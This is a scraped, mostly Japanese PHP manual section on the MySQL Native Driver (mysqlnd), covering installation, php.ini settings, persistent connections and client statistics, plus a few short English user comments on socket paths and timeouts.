http://www.php.net/mysqlnd.config.php#mysqlnd.net_read_timeout
koalay at gmail dot com 16-Sep-2009 10:53
For those who manually compiled MySQL, the default
 mysqlnd settings may results in error.
Your mysql_error() function may give you this message:

---------------------------
No such file or directory (trying to connect via unix:///tmp/mysql.sock)
---------------------------

This is because your manually compiled MySQL has its own place for socket.
You need to provide PHP a reference for an appropriate mysql socket.
That means you need to edit php.ini and add a section like this:

---------------------------
[mysql]
mysql.default_socket="/your/path/to/mysql.sock"
---------------------------
eric dot caron at gmail dot com 02-Sep-2009 09:59
One important part of the MySQL Native Driver, which is overlooked, is that when connecting to MySQL via a socket, the connection is subject to the "default_socket_timeout" value.

This means that if you have the default_socket_timeout set to 60 (default value), and you have a query that takes longer than 60 seconds to respond, the connection will be severed and getting the query results will fail.

The solution (as of PHP 5.3.0) is to change default_socket_timeout to -1 in php.ini, or with ini_set.


はじめに

MySQL Native Driver は、MySQL Client Library (libmysqlclient) の後継です。 MySQL Native Driver は、PHP 5.3.0 以降の公式ソースにその一部として組み込まれています。

MySQL データベース用の拡張モジュールである MySQL や mysqli そして PDO MYSQL は、 すべて MySQL サーバーと通信します。 かつては、これらの拡張モジュールがサーバーと通信するときには MySQL Client Library が提供するサービスを使っていました。 これらの拡張モジュールをコンパイルするときに MySQL Client Library を組み込み、そのクライアント・サーバープロトコルを使っていたのです。

今や MySQL Native Driver がその代替として登場したので、 MySQL データベース用の拡張モジュールをコンパイルするときに MySQL Native Driver を使えば MySQL Client Library なしでもコンパイルできるようになったのです。

MySQL Native Driver は、C 言語で書かれた PHP 用拡張モジュールです。

User Contributed Notes

There are no user contributed notes for this page.


概要

何ではないか

MySQL Native Driver は PHP の拡張モジュールとして作られていますが、 PHP を使って開発をする人たちに新しい API を提供するものではないことに注意しましょう。 MySQL データベースに接続するための API を提供するのは、 MySQL 拡張モジュールや mysqli そして PDO MYSQL です。これらの拡張モジュールが、MySQL Native Driver を使って MySQL サーバーと通信できるようになったということです。 したがって、MySQL Native Driver を新たな API と考えてはいけません。

使うべき理由

MySQL Native Driver には、 MySQL Client Library に比べて数多くの利点があります。

旧来の MySQL Client Library は MySQL AB (現在の Oracle Corporation) が書いたものであり、MySQL ライセンスのもとでリリースされていました。 それが原因で、最終的には PHP がデフォルトで MySQL をサポートしないようになったのです。 しかし MySQL Native Driver は PHP プロジェクトの一部として開発されており、 PHP ライセンスのもとでリリースされています。 これで、かつて存在したライセンス問題も解決しました。

また、かつては MySQL データベース用の拡張モジュールをビルドするには MySQL Client Library が必要でした。 これはつまり、PHP をソースからビルドしようとすると、 そのマシン上に MySQL をインストールしておく必要があったということです。 また、PHP のアプリケーションを動かす際に、 MySQL データベース用の拡張モジュールは最終的に MySQL Client Library のファイルを呼び出すことになるので、 システム上にそのファイルをインストールしておくことも必要でした。 MySQL Native Driver ならその必要はありません。 すべてが標準の配布ファイルに組み込まれているからです。 PHP をビルドしたり PHP のアプリケーションを動かしたりするときに、 MySQL をインストールする必要がなくなったのです。

MySQL Native Driver は PHP の拡張モジュールとして作られているので、 PHP 本体の動作と密につながっています。つまり、 特にメモリ管理などの点で効率があがります。 というのも、ドライバが PHP のメモリ管理システムを使えるからです。 また、PHP のメモリ制限もサポートします。 MySQL Native Driver を使うと MySQL Client Library と同等あるいはそれを上回るパフォーマンスを得られますが、 メモリの使い方はずっと効率的です。その一例をあげましょう。 MySQL Client Library を使うと各行がメモリに二度格納されることになりますが、 MySQL Native Driver の場合は各行がメモリに格納されるのは一度だけです。

注意: メモリ使用量の報告

MySQL Native Driver は PHP のメモリ管理システムを使っているので、 そのメモリ使用量を memory_get_usage() で追えます。 これは libmysqlclient では不可能なことです。なぜなら libmysqlclient は C の malloc() 関数を使っているからです。

おすすめ機能

MySQL Native Driver には、それ特有の機能もあります。 以下にまとめるこれらの機能は、MySQL Client Library を使った MySQL データベース用の拡張モジュールでは利用できないものです。

  • 持続的接続の改善

  • mysqli_fetch_all() 関数

  • パフォーマンス統計用の関数 mysqli_get_client_stats()、 mysqli_get_connection_stats()

パフォーマンス統計機能を活用すれば、 パフォーマンス上のボトルネックを見つけるのに大いに役立つでしょう。

MySQL Native Driver を mysqli 拡張モジュールで使うと、持続的接続も可能です。

SSL サポート

MySQL Native Driver は、SSL をサポートしています。

圧縮プロトコルのサポート

MySQL Native Driver は、圧縮済みのクライアントサーバープロトコルをサポートします。 ext/mysql や ext/mysqli では、MySQL Native Driver を使うように設定すればこの機能を使えるようになります。 ただし、PDO_MYSQL については mysqlnd と組み合わせても圧縮機能が使えないことに注意しましょう。

名前付きパイプのサポート

Windows では、接続に名前付きパイプが使えます。

User Contributed Notes

There are no user contributed notes for this page.


インストール

Unix へのインストール

MySQL データベース・エクステンションは、MySQL クライアント・ライブラリを用いるように設定しなければ なりません。MySQL ネイティブ・ドライバを使用するためには、MySQL データベース・エクステンションを MySQL ネイティブ・ドライバのサポート付でコンパイルすることを指定して PHP をビルドする必要があります。 これは、PHP のソースコードをビルドする前に、設定オプションを通じて行なわれます。

例えば、MySQL ネイティブ・ドライバを用いて MySQL エクステンション、mysqli と PDO MYSQL をビルドするには、以下のコマンドを使います。

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

Windows へのインストール

公式な Windows 版の PHP では、 MySQL ネイティブ・ドライバがデフォルトで使用可能です。 そのため、使用するための追加の構成は不要です。 この場合は MySQLデータベース・エクステンションは全て MySQL ネイティブ・ドライバを使用します。

SHA-256 認証プラグインのサポート

MySQL Native Driver で MySQL SHA-256 認証プラグインを使ったアカウントによる MySQL への接続をするには、PHP の OpenSSL 機能を組み込んで有効にしておく必要があります。 たとえば、PHP を次のような設定でビルドします。

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--with-openssl
[その他のオプション]

User Contributed Notes

Nehuen 01-Oct-2015 03:33
In debian, if you need to use mysqld and have already installed php, you can run this command:
sudo apt-get install php5-mysqlnd
and then restart the server, ej apache
sudo /etc/init.d/apache2 restart
now you can use php with mysqld
jose dot nobile at gmail dot com 20-Oct-2010 10:15
On CentOS 5.4, installing php 5.3.3, is without mysqlnd

But is available mysql, mysqli, pdo_mysql


実行時設定

php.ini の設定により動作が変化します。

MySQL Native Driver 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd.collect_statistics | "1" | PHP_INI_SYSTEM |
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM |
mysqlnd.debug | "" | PHP_INI_SYSTEM |
mysqlnd.log_mask | 0 | PHP_INI_ALL |
mysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
mysqlnd.net_read_timeout | "86400" | PHP_INI_ALL | PHP 7.2.0 より前のバージョンでは、 デフォルト値は "31536000" で、変更可能な範囲が PHP_INI_SYSTEM でした。
mysqlnd.net_cmd_buffer_size | "4096" | PHP_INI_SYSTEM |
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_SYSTEM |
mysqlnd.sha256_server_public_key | "" | PHP_INI_PERDIR |
mysqlnd.trace_alloc | "" | PHP_INI_SYSTEM |
mysqlnd.fetch_data_copy | 0 | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd.collect_statistics bool

さまざまなクライアント統計情報の収集を有効にします。収集した情報には
mysqli_get_client_stats() や
mysqli_get_connection_stats() でアクセスでき、
phpinfo() 関数の出力の
mysqlnd セクションにも表示されます。

この設定項目は、メモリ管理に関するもの以外のすべての MySQL Native Driver 統計情報 を有効にします。

mysqlnd.collect_memory_statistics bool

さまざまなメモリ統計情報の収集を有効にします。収集した情報には
mysqli_get_client_stats() や
mysqli_get_connection_stats() でアクセスでき、
phpinfo() 関数の出力の
mysqlnd セクションにも表示されます。

この設定項目は、MySQL Native Driver 統計情報 全体の中でメモリ管理に関する統計を有効にします。

mysqlnd.debug string

mysqlnd を使うすべての拡張モジュールからの通信を、指定したログファイルに記録します。

この項目の書式は mysqlnd.debug = "option1[,parameter_option1][:option2[,parameter_option2]]" となります。

書式文字列のオプションは、次のとおりです。

  • A[,file] - トレース出力を指定したファイルに追記します。 また、データの追記はデータベースへの書き込みのたびに発生することを保証します。 それを実現するために、トレースファイルをいったん閉じてから開きなおします (速度は遅くなります)。 これで、アプリケーションがクラッシュしたときにも完全なログファイルを残せます。

  • a[,file] - トレース出力を指定したファイルに追記します。

  • d - DBUG_<N> マクロからの、現在の状態に関する出力を有効にします。 キーワードのリストが後に続くことがあり、その場合は 指定したキーワードの DBUG マクロからだけ出力させます。 空のキーワードリストを指定すると、すべてのマクロを出力します。

  • f[,functions] - デバッガの動作を、リストで指定した関数だけに絞り込みます。 空の関数リストを指定すると、すべての関数を選択したことになります。

  • F - デバッガからの出力の各行に、その出力の元となったマクロが含まれるソースファイル名を付加します。

  • i - デバッガからの出力の各行に、現在のプロセスの PID を付加します。

  • L - デバッガからの出力の各行に、その出力の元となったマクロが含まれるソースファイル内の行番号を付加します。

  • n - デバッガからの出力の各行に、現在の関数のネストレベルを付加します。

  • o[,file] - a[,file] と似ていますが、既存のファイルに追記するのではなく既存のファイルを上書きします。

  • O[,file] - A[,file] と似ていますが、既存のファイルに追記するのではなく既存のファイルを上書きします。

  • t[,N] - 関数の制御フローのトレースを有効にします。最大のネストレベルを N で指定します。 N のデフォルトは 200 です。

  • x - このオプションはプロファイリングを有効にします。

  • m - 呼び出しに関連する、メモリの確保と解放をトレースします。

利用例は、このようになります。

d:t:x:O,/tmp/mysqlnd.trace

注意:

この機能は、デバッグビルド版の PHP でしか使えません。 Microsoft Windows で使う場合は、Microsoft Visual C バージョン 9 以降でデバッグビルドした PHP を使わなければなりません。

mysqlnd.log_mask int

どのクエリをログに記録するかを定義します。デフォルトは 0 で、これはクエリをログに記録しません。 値は静数値で定義します。PHP の定数はありません。 たとえば 48 (16 + 32) を設定すると、インデックスの選択が悪かったり (SERVER_QUERY_NO_GOOD_INDEX_USED = 16) まったくインデックスを使っていなかったり (SERVER_QUERY_NO_INDEX_USED = 32) といった理由で遅くなっているクエリをログに記録します。 2043 (1 + 2 + 8 + ... + 1024) を指定すると、あらゆる型の遅いクエリを記録します。

使える型は、次のとおりです。
SERVER_STATUS_IN_TRANS=1, SERVER_STATUS_AUTOCOMMIT=2,
SERVER_MORE_RESULTS_EXISTS=8, SERVER_QUERY_NO_GOOD_INDEX_USED=16, SERVER_QUERY_NO_INDEX_USED=32,
SERVER_STATUS_CURSOR_EXISTS=64, SERVER_STATUS_LAST_ROW_SENT=128, SERVER_STATUS_DB_DROPPED=256,
SERVER_STATUS_NO_BACKSLASH_ESCAPES=512, SERVER_QUERY_WAS_SLOW=1024

mysqlnd.mempool_default_size int

mysqlnd メモリプールのデフォルトサイズ。これは結果セットが使います。

mysqlnd.net_read_timeout int

mysqlnd は、MySQL Client Library すなわち libmysqlclient とは異なるネットワーク API を使います。 mysqlnd は PHP ストリームを使いますが、 libmysqlclient は自前のラッパーを用意して操作レベルでのネットワークコールをしています。 PHP のデフォルト設定では、ストリームの読み込みタイムアウトは 60 秒です。これは php.ini の default_socket_timeout で設定します。 タイムアウト値を設定しなければ、すべてのストリームに対してデフォルト値が適用されます。 mysqlnd は何も値を設定しないので、長いクエリを実行して default_socket_timeout 秒が経過すると、接続を切断して 2006 - MySQL Server has gone away というエラーが発生します。 MySQL Client Library のデフォルトのタイムアウトは 24 * 3600 秒 (1 日) で、TCP/IP のタイムアウトなどのその他のタイムアウトが発生するのを待ちます。 mysqlnd も同様に、非常に長いタイムアウトを使うことができます。この値は、 php.ini の新しい項目 mysqlnd.net_read_timeout で設定します。 mysqlnd.net_read_timeout は、mysqlnd を使うすべての拡張モジュール (ext/mysql や ext/mysqli、PDO_MySQL) が利用します。 mysqlnd は、PHP ストリームに対して mysqlnd.net_read_timeout を使うよう指示します。 MySQL Client Library および PHP ストリームの MYSQL_OPT_READ_TIMEOUT とは微妙に違いがあることに注意しましょう。 MYSQL_OPT_READ_TIMEOUT は TCP/IP 接続でしか動作しないとドキュメントに記載されており、 MySQL 5.1.2 より前のバージョンでは Windows でしか使えません。 PHP ストリームにはこの制限はありません。 信じられないならストリームのドキュメントを調べるとよいでしょう。

mysqlnd.net_cmd_buffer_size int

mysqlnd は、内部のコマンド/ネットワークバッファとして php.ini の mysqlnd.net_cmd_buffer_size で指定しただけのバイト数をすべての接続に対して確保します。 MySQL Client Server プロトコルのコマンド、たとえば COM_QUERY (通常のクエリ) がこのバッファに収まらない場合、mysqlnd はコマンドの送信に必要なだけバッファを拡張します。 ひとつの接続でバッファの拡張が発生するたびに command_buffer_too_small をひとつ加算します。

ほとんどすべての接続で mysqlnd が mysqlnd.net_cmd_buffer_size の初期値よりバッファを拡張せざるを得なくなったら、 デフォルトのサイズを大きくしてバッファの再割り当てを回避すべきでしょう。

デフォルトのバッファサイズは 4096 バイトです。これは、設定可能な最小値です。

この値は mysqli_options(link, MYSQLI_OPT_NET_CMD_BUFFER_SIZE, size) でも変更できます。

mysqlnd.net_read_buffer_size int

MySQL コマンドパケットのボディを読み込むときの、読み込みチャンクの最大バイト数。 MySQL クライアントサーバープロトコルは、すべてのコマンドをパケット内にカプセル化します。 パケットは、小さなヘッダと実際の本体を含むボディで構成されています。 ボディのサイズはヘッダに書き込まれています。 mysqlnd はこのボディを、 MIN(header.size, mysqlnd.net_read_buffer_size) バイトごとに分割して読み込みます。パケットのボディが mysqlnd.net_read_buffer_size バイトより長い場合は、 mysqlnd は read() を複数回コールする必要があります。

この値は mysqli_options(link, MYSQLI_OPT_NET_READ_BUFFER_SIZE, size) でも設定できます。

mysqlnd.sha256_server_public_key string

SHA-256 認証プラグイン関連の設定。MySQL サーバーの RSA 公開鍵ファイル。

クライアントで RSA 公開鍵の設定をせずに済ませることができます。 そのためには、この設定項目で公開鍵を設定するか、実行時に mysqli_options() で鍵を指定します。 RSA 公開鍵をクライアントから渡さなかった場合は、 ここで指定した鍵を使って SHA-256 認証プラグインの認証手続きを進めます。

mysqlnd.trace_alloc string

mysqlnd.fetch_data_copy int

デフォルトの参照とコピーオンライトのロジックを使わずに、 内部結果セットのバッファから PHP の変数に結果セットをコピーします。 詳細は メモリ管理の実装についての説明 を参照ください。

結果セットを PHP の変数から参照させるのではなくコピーすることで、 PHP の変数に割り当てたメモリを早めに解放できます。 ユーザー API のコードやクエリの内容、そして結果セットの大きさにも依存しますが、 これは mysqlnd のメモリ使用量の削減につながります。

PDO_MySQL を使う場合は設定しないでください。PDO_MySQL は、まだこの新しいフェッチモードに対応していません。

User Contributed Notes

There are no user contributed notes for this page.


非互換性

MySQL Native Driver は、MySQL Client Library (libmysql) とほぼ互換性があります。 このセクションでは、互換性のない部分について説明します。

  • bit 型の値は、libmysql では二進文字列 ("\0" や "\x1F") として返しますが、mysqlnd の場合は十進文字列 ("0" や "31") として返します。どちらのライブラリでも同じように動くようにするには、 bit 型のフィールドを常に数値として返すようなクエリを書きましょう。たとえば SELECT bit + 0 FROM table のようにします。

User Contributed Notes

There are no user contributed notes for this page.


持続的接続

持続的接続の使用

mysqli と mysqlnd の組み合わせで使っている場合は、 持続的接続を作るときにサーバー上で COM_CHANGE_USER (mysql_change_user()) を呼び出します。これで、接続の認証が再び行われることになります。

COM_CHANGE_USER の呼び出しと関連するオーバーヘッドが若干あるので、 コンパイル時にこれをオフにすることができます。 持続的接続を再利用すると、接続が再利用できるかどうか簡単にテストするために、 COM_PING (mysql_ping) の呼び出しが生成されます。

COM_CHANGE_USER を呼び出さないようにするには、コンパイルのときに MYSQLI_NO_CHANGE_USER_ON_PCONNECT フラグを使います。たとえば次のようになります。 例えば、

shell# CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT" ./configure --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --enable-debug && make clean && make -j6

またはその代わりに、

shell# export CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT"
shell# configure --whatever-option
shell# make clean
shell# make

mysqlnd 上の mysqli だけが COM_CHANGE_USER を使用することに注意してください。 他のエクステンションとドライバーの組み合わせでは、持続的な接続を最初に使用する際に、 COM_PING を使用します。

User Contributed Notes

There are no user contributed notes for this page.


統計情報

統計情報を使う

MySQL Native Driver は、クライアントとサーバー間の通信に関する統計情報を収集する機能をサポートしています。収集できる統計情報は主に2つのタイプに分けられます。

  • クライアントの統計情報

  • 接続の統計情報

mysqli 拡張機能を使っている場合、これらの統計情報は以下の2つのAPIを呼び出すことで取得できます。

  • mysqli_get_client_stats()

  • mysqli_get_connection_stats()

注意:

MySQL Native Driver を使っているすべての拡張機能が統計情報を収集します。たとえば、ext/mysql や ext/mysqli を MySQL Native Driver を使ってコンパイルし、ext/mysql や ext/mysqli の関数を呼び出すと、収集される統計情報の値が変わります。MySQL Native Driver を使ってコンパイルされた MySQL 拡張機能の呼び出しが、どの程度統計情報に影響を与えるかはわかりません。PDO MySQL Driver や ext/mysql や ext/mysqli を、オプションで MySQL Native Driver を使うように設定することができます。こうすると、すべての拡張機能で統計情報を変化させることができます。

クライアントの統計情報にアクセスする

クライアントの統計情報にアクセスするには、mysqli_get_client_stats() 関数を呼び出す必要があります。この関数を呼び出すのに引数は必要ありません。

この関数は、統計情報の名前をキーとして対応するデータを値とする連想配列を返します。

クライアントの統計情報は phpinfo() 関数を呼び出してもアクセスできます。

接続の統計情報にアクセスする

接続の統計情報にアクセスするには mysqli_get_connection_stats() 関数を使います。この関数は接続ハンドルを引数にとります。

この関数は、統計情報の名前をキーとして対応するデータを値とする連想配列を返します。

結果セットをバッファリングさせるか否か

結果セットはバッファリングさせることもできますし、しないこともできます。デフォルトの設定では、ext/mysql と ext/mysqli は通常の (プリペアドステートメントでない) クエリの場合結果セットをバッファリングします。バッファリングされた結果セットはクライアント側でキャッシュされます。クエリが実行された後、すべての結果がMySQLサーバから取得され、クライアント側でキャッシュに保存されます。結果セットをバッファリングすることの大きな利点は、一度クライアントが結果を取得すると、サーバがすべての結果セットに割り当てられたリソースを開放できることです。

一方、結果セットをバッファリングしない場合、結果セットはサーバ側にバッファリングするよりも長く残ります。仮にクライアント側でのメモリ使用量を削減したいが、サーバ側の負荷が高くなっても構わない場合、結果セットをバッファリングしないようにします。仮にサーバの負荷が高く、バッファリングしていない結果セットの量がサーバ側で多いことが分かっている場合、その負荷をクライアント側に移すことを検討すべきです。クライアントは通常の場合サーバよりも分散しやすいからです。ここでいう 負荷 とはメモリバッファに対するものだけでなく、サーバが結果セットを開放する前に他のリソース、たとえばファイルハンドルやスレッドを開きっぱなしにする必要があることも指しています。

プリペアドステートメントはデフォルトでは結果セットをバッファリングしません。しかし、mysqli_stmt_store_result() 関数を使えば、結果セットのバッファリングを有効にすることができます。

MySQL Native Driver が返す統計情報

以下の表で、mysqli_get_client_stats(), mysqli_get_connection_stats() 関数が返す統計情報のリストを示します。

MySQL Native Driver が返す統計情報: ネットワーク関連
統計情報 | 統計のカテゴリ | 説明 | 注意点
bytes_sent | Connection | PHP から MySQLサーバに送信されたバイト数 | 圧縮プロトコルの効率をチェックするのに使えます
bytes_received | Connection | MySQLサーバから受け取ったバイト数 | 同上
packets_sent | Connection | MySQL のクライアントサーバプロトコルにおいて送信されたパケット数 | クライアントサーバプロトコルの実装をデバッグするのに使われます
packets_received | Connection | MySQL のクライアントサーバプロトコルにおいて受信したパケット数 | 同上
protocol_overhead_in | Connection | MySQL のクライアントサーバプロトコルの受信側の通信にかかるオーバーヘッドをバイト単位で示します。現状はパケットヘッダ(4バイト)のみをオーバーヘッドと看做しています。 protocol_overhead_in = packets_received * 4で表されます。 | 同上
protocol_overhead_out | Connection | MySQL のクライアントサーバプロトコルの受信側の通信にかかるオーバーヘッドをバイト単位で示します。現状はパケットヘッダ(4バイト)のみをオーバーヘッドと看做しています。 protocol_overhead_out = packets_sent * 4で表されます。 | 同上
bytes_received_ok_packet | Connection | MySQL のクライアントサーバプロトコルにおけるOKパケットの受信量の合計をバイト単位で示します。 OKパケットはステータスメッセージも含むことができます。ステータスメッセージの長さは変化しうるため、OKパケットのサイズは固定ではありません。 | クライアントサーバプロトコルの実装をデバッグするのに使われます。受信する合計バイト数には、パケットヘッダ(4バイト, protocol_overhead_in や protocol_overhead_out を参照) のサイズも含まれていることに注意してください
packets_received_ok | Connection | MySQL のクライアントサーバプロトコルにおけるOKパケットを受信した数です。 | 同上
bytes_received_eof_packet | Connection | MySQL のクライアントサーバプロトコルにおけるEOFパケットを受信量の合計をバイト単位で示します。EOFパケットはサーバのバージョンによってサイズが変わります。また、EOFパケットはエラーメッセージも伝えることができます。 | 同上
packets_received_eof | Connection | MySQL のクライアントサーバプロトコルにおけるEOFパケットの数を示します。EOFパケットの数は、PHPが期待するパケットを受け取らなかった場合であっても増加します。これは他のパケット数を示す統計情報と同じです。PHPが期待しないパケットの例は、エラーメッセージが挙げられます。 | 同上
bytes_received_rset_header_packet | Connection | MySQL のクライアントサーバプロトコルにおける結果セットにあるヘッダパケットの合計サイズをバイト単位で示します。パケットのサイズはペイロード(LOAD LOCAL INFILE, INSERT, UPDATE, SELECT, エラーメッセージ)に応じて変わります。 | 同上
packets_received_rset_header | Connection | MySQL のクライアントサーバプロトコルにおける結果セットにあるヘッダパケットの数を示します | 同上
bytes_received_rset_field_meta_packet | Connection | MySQL のクライアントサーバプロトコルにおける結果セットにあるメタデータ(カラム情報) の合計サイズをバイト単位で示します。もちろん、メタデータのサイズは結果セットにあるカラムによって変わります。このパケットはペイロードが COM_LIST_FIELDS の場合(訳注：テーブルのカラム情報を得るためのMySQLプロトコル http://dev.mysql.com/doc/internals/en/text-protocol.html#com-field-list)の場合は、エラーメッセージかEOFパケットを返す可能性があります。 | 同上
packets_received_rset_field_meta | Connection | MySQL のクライアントサーバプロトコルにおける結果セットにあるメタデータ(カラム情報) のパケット数を示します。 | 同上
bytes_received_rset_row_packet | Connection | MySQL のクライアントサーバプロトコルにおける結果セットにある行情報パケットの合計サイズをバイト単位で示します。このパケットはエラー情報またはEOFパケットを送信する場合もあります。 bytes_received_rset_row_packet の数から、rows_fetched_from_server_normal と rows_fetched_from_server_ps の値を引くことによって、エラー数やEOFパケットの数を割り出すことができます。 | 同上
packets_received_rset_row | Connection | MySQL のクライアントサーバプロトコルの結果セット行データパケットと、それらの合計サイズをバイト単位で示します。 | 同上
bytes_received_prepare_response_packet | Connection | MySQL のクライアントサーバプロトコルにおける、プリペアドステートメント初期化パケット(prepared statement init packets) が OK を返した合計サイズをバイト単位で示します。このパケットはエラーを送信する可能性もあります。このパケットのサイズは MySQL のバージョンによって変わります。: MySQL 4.1 では 9バイト、 MySQ 5.0 以降は 12 byte です。エラーが起きた回数を安全に知る方法はありません。たとえば、MySQL 5.0 以降の MySQL に常に接続している場合は、bytes_received_prepare_response_packet != packets_received_prepare_response * 12 の場合にエラーが起きていると推定できるかもしれません。ps_prepared_never_executed や ps_prepared_once_executed も参照してください。 | 同上
packets_received_prepare_response | Connection | MySQL のクライアントサーバプロトコルにおける、プリペアドステートメント初期化パケット(prepared statement init packets) が OK を返した数 | 同上
bytes_received_change_user_packet | Connection | MySQL のクライアントサーバプロトコルにおける、COM_CHANGE_USER パケットの合計サイズをバイト単位で示します。このパケットはエラーやEOFパケットを送信する可能性もあります。 | 同上
packets_received_change_user | Connection | MySQL のクライアントサーバプロトコルにおける、COM_CHANGE_USER パケットの数 | 同上
packets_sent_command | Connection | PHP から MySQL に送信されたMySQL クライアントサーバプロトコルコマンドの合計数。特定のどのコマンドが送信されたか、そしてそれらのうちどのくらいが実際に送信されたかを知る方法はありません。この統計値は、PHPバイナリで MySQLのサポートを無効にすることを確かめる手がかりを知るために、PHP がコマンドを送信しているかどうかを知る手段として使えるくらいです。また、データを MySQL に送信している間にエラーが起きた回数を知る方法もありません。記録されるエラーは command_buffer_too_small (後述) の値くらいです。 | MySQL のクライアントサーバプロトコルのデバッグする用途だけに役立ちます。
bytes_received_real_data_normal Connection PHP クライアントが mysqlnd からテキストプロトコル経由で受け取ったペイロードの合計バイト数。 これは、プリペアドステートメントではないクエリから生成され、PHPクライアントが取得した結果セットに含まれる実際のデータサイズです。完全な結果セットは mysqlnd が MySQL から取得しますが、この統計値は PHP クライアントが mysqlnd から実際に取得した実際のデータのみを数えていることに注意してください。この統計値を増やすコードの例は以下のようになります:
$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->fetch_assoc();
$res->close();

毎回取得(fetch)操作をするたびにこの値が増加します。

この統計値は、結果セットがクライアント上でバッファリングされただけで、実際に取得されていない場合は変化しません。たとえば、次のようなコードの場合です:

$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->close();
bytes_received_real_data_ps | Connection | PHP クライアントが mysqlnd からプリペアドステートメントプロトコル経由で受け取ったペイロードの合計バイト数。 | これは、プリペアドステートメントプロトコルを使ってから生成され、PHPクライアントが取得した結果セットに含まれる実際のデータサイズです。この値は、PHPクライアントが読み取らなければ変化しません。完全な結果セットは mysqlnd が MySQL から取得しますが、この統計値は PHP クライアントが mysqlnd から実際に取得した実際のデータのみを数えていることに注意してください。bytes_received_real_data_normal も参照してください。

Result Set

MySQL Native Driver が返す統計情報: 結果セット
統計情報 | 統計のカテゴリ | 説明 | 注意点
result_set_queries | Connection | 結果セットを生成したクエリの数。結果セットを生成するクエリの例: SELECT, SHOW. 結果セットのヘッダパケットを読み取っている間にエラーが発生した場合、この統計値はインクリメントされません | たとえば、データベースに高い負荷をかけているクライアントを特定する目的で、PHP が MySQL に送信したクエリの数を間接的に測るのに使えます。
non_result_set_queries | Connection | 結果セットを生成しなかったクエリの数。結果セットを生成しないクエリの例:INSERT, UPDATE, LOAD DATA。結果セットのヘッダパケットを読み取っている間にエラーが発生した場合、この統計値はインクリメントされません。 | 同上
no_index_used | Connection | 結果セットを生成したが、インデックスを使わなかったクエリの数 (mysqld の起動オプション -log-queries-not-using-indexes も参照してください) こうしたクエリを記録したい場合、mysqli_report(MYSQLI_REPORT_INDEX) を使って ext/mysqli に例外をスローさせることができます。例外ではなく警告にとどめたい場合は、mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT) を使ってください。
bad_index_used | Connection | 結果セットを生成したが、良いインデックスを使わなかったクエリの数 (mysqld の起動オプション -log-slow-queries も参照してください) | こうしたクエリを記録したい場合、mysqli_report(MYSQLI_REPORT_INDEX) を使って ext/mysqli に例外をスローさせることができます。例外ではなく警告にとどめたい場合は、mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT) を使ってください。
slow_queries | Connection | 実行に long_query_time 秒以上かかり、少なくとも min_examined_row_limit 行以上調べる必要があるSQL | mysqli_report()関数では記録できません
buffered_sets | Connection | 通常の クエリで返された結果セットのうち、バッファリングされたものの数。通常の というのは、右の「注意点」で述べている プリペアドステートメントのことではありません | 結果セットをクライアント側にバッファリングするAPI呼び出しの例: mysql_query(), mysqli_query(), mysqli_store_result(), mysqli_stmt_get_result() 結果セットをクライアント側にバッファリングすると、サーバ側のリソースが迅速に解放され、結果セットを走査しやすくなります。欠点としては、クライアント側のメモリ消費が、バッファリングする分だけ増えてしまうということです。mysqlnd は、PHP の内部的なメモリ管理関数を使っているため、(MySQL Client Library とは異なり) PHP 側の memory_limit の設定を尊重することに注意してください。同じ理由で memory_get_usage() 関数の実行結果は、MySQL Client Library と比べて高いメモリ使用量を報告します。memory_get_usage() 関数は MySQL Client Library のメモリ使用量を全く計測しません。なぜなら、MySQL Client Library は この関数が監視する PHP の内部メモリ管理関数を使用していないからです！
unbuffered_sets | Connection | 通常の(プリペアドステートメントではない) クエリによって返された、バッファリングされていない結果セットの数 | クライアント側で結果セットがバッファリングされないAPI呼び出しの例: mysqli_use_result()
ps_buffered_sets | Connection | プリペアドステートメントによって返される、バッファリングされた結果セットの数。デフォルトでは、プリペアドステートメントはバッファリングされません。 | クライアント側で結果セットがバッファリングされるAPI呼び出しの例: mysqli_stmt_store_result
ps_unbuffered_sets | Connection | プリペアドステートメントによって返される、バッファリングされない結果セットの数。 | デフォルトでは、プリペアドステートメントはバッファリングされません。
flushed_normal_sets Connection 通常の(プリペアドステートメントではない) クエリから返された、クライアントが読み取っていないため黙ってフラッシュされたデータが残っている結果セットの数。フラッシュはバッファリングされていない結果セットの場合だけ起こります。 バッファリングされていない結果セットは、新しいクエリが実行される前に完全に取得されなければなりません。そうでない場合、MySQL はエラーを生成します。アプリケーションがバッファリングされていない結果セットからすべての行を取得していない場合、mysqlnd は行をクリアするため暗黙のうちに結果セットをフラッシュします。rows_skipped_normal や、rows_skipped_ps も参照してください。暗黙のフラッシュが起こりうる原因を以下に示します:

  • クライアントアプリケーションが不完全な場合

  • クライアントは探していた情報を見つけたあと終了しますが、MySQL に必要以上のレコードを計算させてしまっている場合

  • クライアントアプリケーションが予期せず終了する場合

flushed_ps_sets | Connection | プリペアドステートメントのクエリから返された、クライアントが読み取っていないため黙ってフラッシュされたデータが残っている結果セットの数。フラッシュはバッファリングされていない結果セットの場合だけ起こります。 | 同上
ps_prepared_never_executed | Connection | 準備(prepare)されたが、決して実行されないステートメントの数 | プリペアドステートメントはサーバのリソースを占有します。実行する予定がない場合、ステートメントを準備すべきではありません。
